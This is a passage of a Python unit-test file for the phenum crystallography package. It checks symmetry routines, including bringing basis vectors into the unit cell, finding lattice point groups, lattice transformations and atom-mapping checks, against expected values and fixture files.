cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_2(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_3(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_4(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_5(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_6(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.25, 0.25, 0.75] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.25, 0.25, 0.75] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_7(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_8(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.25, 0.25, 0.75] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.25, 0.25, 0.75] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_9(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_10(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.25, 0.25, 0.75] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.25, 0.25, 0.75] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_11(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.5, 0.5, 0.25] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.5, 0.5, 0.25] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_11(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_12(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.25, 0.25, 0.75] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.25, 0.25, 0.75] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_13(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.5, 0.5, 0.25] cart_to_latt = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] latt_to_cart = [[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]] eps = 1e-10 out = [0.5, 0.5, 0.25] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_14(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[-1.0, 1.0, 1.0], [1.0, 1.0, -1.0], [1.0, -1.0, 1.0]] latt_to_cart = [[0.0, 0.5, 0.5], [0.5, 0.5, 0.0], [0.5, 0.0, 0.5]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_15(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.0, 0.0] cart_to_latt = [[-1.0, 1.0, 1.0], [1.0, 1.0, -1.0], [1.0, -1.0, 1.0]] latt_to_cart = [[0.0, 0.5, 0.5], [0.5, 0.5, 0.0], [0.5, 0.0, 0.5]] eps = 1e-10 out = [0.0, 0.0, 0.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_16(self): from phenum.symmetry import bring_into_cell bas_vecs = [1.0,0.0,1.0] cart_to_latt = np.transpose([[1.0, -1.0, 0.1], [1.0, 1.0, -0.1], [-1.0, 1.0, 0.1]]) latt_to_cart = np.transpose([[0.5, 0.5, 0.0], [0.0, 0.5, 0.5], [5.0, 0.0, 5.0]]) eps = 1e-3 out = [1.0,0.0,1.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_17(self): from phenum.symmetry import bring_into_cell bas_vecs = [2.0,0.0,2.0] cart_to_latt = np.transpose([[1.0, -1.0, 0.1], [1.0, 1.0, -0.1], [-1.0, 1.0, 0.1]]) latt_to_cart = np.transpose([[0.5, 0.5, 0.0], [0.0, 0.5, 0.5], [5.0, 0.0, 5.0]]) eps = 1e-3 out = [2.0,0.0,2.0] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_18(self): from phenum.symmetry import bring_into_cell bas_vecs = [3.0,0.0,3.0] cart_to_latt = np.transpose([[1.0, -1.0, 0.1], [1.0, 1.0, -0.1], [-1.0, 1.0, 0.1]]) latt_to_cart = np.transpose([[0.5, 0.5, 0.0], [0.0, 0.5, 0.5], [5.0, 0.0, 5.0]]) eps = 1e-3 out = [3.0000000000000004, 0.0, 3.0000000000000004] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) def test_19(self): from phenum.symmetry import bring_into_cell bas_vecs = [0.0, 0.5779502399999998, 1.6329931599999998] cart_to_latt = np.transpose([[1.0, 0.0, 0.0], [-0.5773502717125849, 1.1547005434251698, 0.0], [0.0, 0.0, 0.6123724213915893]]) latt_to_cart = np.transpose([[1.0, 0.0, 0.0], [0.5, 0.8660254, 0.0], [0.0, 0.0, 1.6329932]]) eps = 1e-3 out = [1.0000000000000000, 0.57795023999999980, -4.0000000416390380E-008] self.assertEqual(bring_into_cell(bas_vecs,cart_to_latt,latt_to_cart,eps),out) class TestGetLatticePointGroup(ut.TestCase): def test_getpg1(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,1,0],[1,0,1],[0,1,1]] eps = 1E-6 out = _read_pg(gpath+"fcc_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg2(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,0,0],[0.5,-0.86602540378444,0],[0,0,2]] eps = 1E-6 out = _read_pg(gpath+"hex_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg3(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,0,0],[0,1,0],[0,0,1]] eps = 1E-6 out = _read_pg(gpath+"sc_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg4(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,-1,1],[-1,1,1],[1,1,-1]] eps = 1E-6 out = _read_pg(gpath+"bcc_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg5(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,2,2],[2,1,2],[2,2,1]] eps = 1E-6 out = _read_pg(gpath+"trig_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg6(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,0,0],[0.15,1,0],[0.25,0,1]] eps = 1E-6 out = _read_pg(gpath+"tric_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg7(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,0,0],[0,1,0],[0,0,2]] eps = 1E-6 out = _read_pg(gpath+"st_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg8(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[-0.5,0.5,1],[0.5,-0.5,1],[0.5,0.5,-1]] eps = 1E-6 out = _read_pg(gpath+"bct_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg9(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,0,0],[0,2,0],[0,0,3]] eps = 1E-6 out = _read_pg(gpath+"so_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg10(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[0.5,1,0],[0.5,-1,0],[0,0,3]] eps = 1E-6 out = _read_pg(gpath+"cco_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg11(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[-0.5,1,1.5],[0.5,-1,1.5],[0.5,1,-1.5]] eps = 1E-6 out = _read_pg(gpath+"bco_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg13(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[0.5,1,0],[0.5,0,1.5],[0,1,1.5]] eps = 1E-6 out = _read_pg(gpath+"fco_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg14(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,0,0],[0,1,0],[0.25,0,1]] eps = 1E-6 out = _read_pg(gpath+"sm_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg12(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[0.5,0.5,0],[0.5,-0.5,0],[0.25,0,1]] eps = 1E-6 out = _read_pg(gpath+"ccm_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) def test_getpg15(self): from phenum.symmetry import get_lattice_pointGroup avecs = [[1,1,0],[1,0,1],[0,0,2]] eps = 1E-6 out = _read_pg(gpath+"fcc2_pg.out") pg = get_lattice_pointGroup(avecs,eps) present = [] for p in pg: for g in out: if np.allclose(p,g): present.append(True) self.assertEqual(len(out),len(present)) class TestGetTransformations(ut.TestCase): """Tests of the _get_transformations subroutine.""" def _compare_outputs(self,out1,out2): ptc1 = out1[0] ctp1 = out1[1] ptc2 = out2[0] ctp2 = out2[1] for i in range(3): for j in range(3): self.assertAlmostEqual(ptc1[i][j],ptc2[i][j]) self.assertAlmostEqual(ctp1[i][j],ctp2[i][j]) def _trans_out(self,case): ctp = np.transpose(_read_float_2D(gpath+"get_transformations_cart_to_prim.out."+str(case))) ptc = np.transpose(_read_float_2D(gpath+"get_transformations_prim_to_cart.out."+str(case))) return (ptc,ctp) def test_1(self): from phenum.symmetry import _get_transformations case = 1 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_2(self): from phenum.symmetry import _get_transformations case = 2 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_3(self): from phenum.symmetry import _get_transformations case = 3 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_4(self): from phenum.symmetry import _get_transformations case = 4 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_5(self): from phenum.symmetry import _get_transformations case = 5 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_6(self): from phenum.symmetry import _get_transformations case = 6 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_7(self): from phenum.symmetry import _get_transformations case = 7 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_8(self): from phenum.symmetry import _get_transformations case = 8 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_9(self): from phenum.symmetry import _get_transformations case = 9 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_10(self): from phenum.symmetry import _get_transformations case = 10 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_11(self): from phenum.symmetry import _get_transformations case = 11 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_12(self): from phenum.symmetry import _get_transformations case = 12 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_13(self): from phenum.symmetry import _get_transformations case = 13 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_14(self): from phenum.symmetry import _get_transformations case = 14 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_15(self): from phenum.symmetry import _get_transformations case = 15 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_16(self): from phenum.symmetry import _get_transformations case = 16 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_17(self): from phenum.symmetry import _get_transformations case = 17 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_18(self): from phenum.symmetry import _get_transformations case = 18 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_19(self): from phenum.symmetry import _get_transformations case = 19 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) def test_20(self): from phenum.symmetry import _get_transformations case = 20 aVecs = _read_float_2D(gpath+"get_transformations_aVecs.in."+str(case)) out = self._trans_out(case) self._compare_outputs(_get_transformations(aVecs),out) class TestDoesMappingExist(ut.TestCase): """Tests of the _does_mapping_exist subroutine.""" def test_1(self): from phenum.symmetry import _does_mapping_exist case = 1 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_2(self): from phenum.symmetry import _does_mapping_exist case = 2 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_3(self): from phenum.symmetry import _does_mapping_exist case = 3 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_4(self): from phenum.symmetry import _does_mapping_exist case = 4 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_5(self): from phenum.symmetry import _does_mapping_exist case = 5 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_6(self): from phenum.symmetry import _does_mapping_exist case = 6 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_7(self): from phenum.symmetry import _does_mapping_exist case = 7 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_8(self): from phenum.symmetry import _does_mapping_exist case = 8 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_9(self): from phenum.symmetry import _does_mapping_exist case = 9 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_10(self): from phenum.symmetry import _does_mapping_exist case = 10 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_11(self): from phenum.symmetry import _does_mapping_exist case = 11 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_12(self): from phenum.symmetry import _does_mapping_exist case = 12 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_13(self): from phenum.symmetry import _does_mapping_exist case = 13 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_14(self): from phenum.symmetry import _does_mapping_exist case = 14 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_15(self): from phenum.symmetry import _does_mapping_exist case = 15 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_16(self): from phenum.symmetry import _does_mapping_exist case = 16 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_17(self): from phenum.symmetry import _does_mapping_exist case = 17 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_18(self): from phenum.symmetry import _does_mapping_exist case = 18 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) self.assertEqual(_does_mapping_exist(v,this_type,atom_pos,atomType,eps),out) def test_19(self): from phenum.symmetry import _does_mapping_exist case = 19 v = _read_float_1D(gpath+"does_mapping_exist_v.in."+str(case)) this_type = _read_int(gpath+"does_mapping_exist_this_type.in."+str(case)) atom_pos = list(map(list,zip(*_read_float_2D(gpath+"does_mapping_exist_atom_pos.in."+str(case))))) atomType = _read_int_1D(gpath+"does_mapping_exist_atomType.in."+str(case)) eps = _read_float(gpath+"does_mapping_exist_eps.in."+str(case)) out = _read_logical(gpath+"does_mapping_exist_mapped.out."+str(case)) 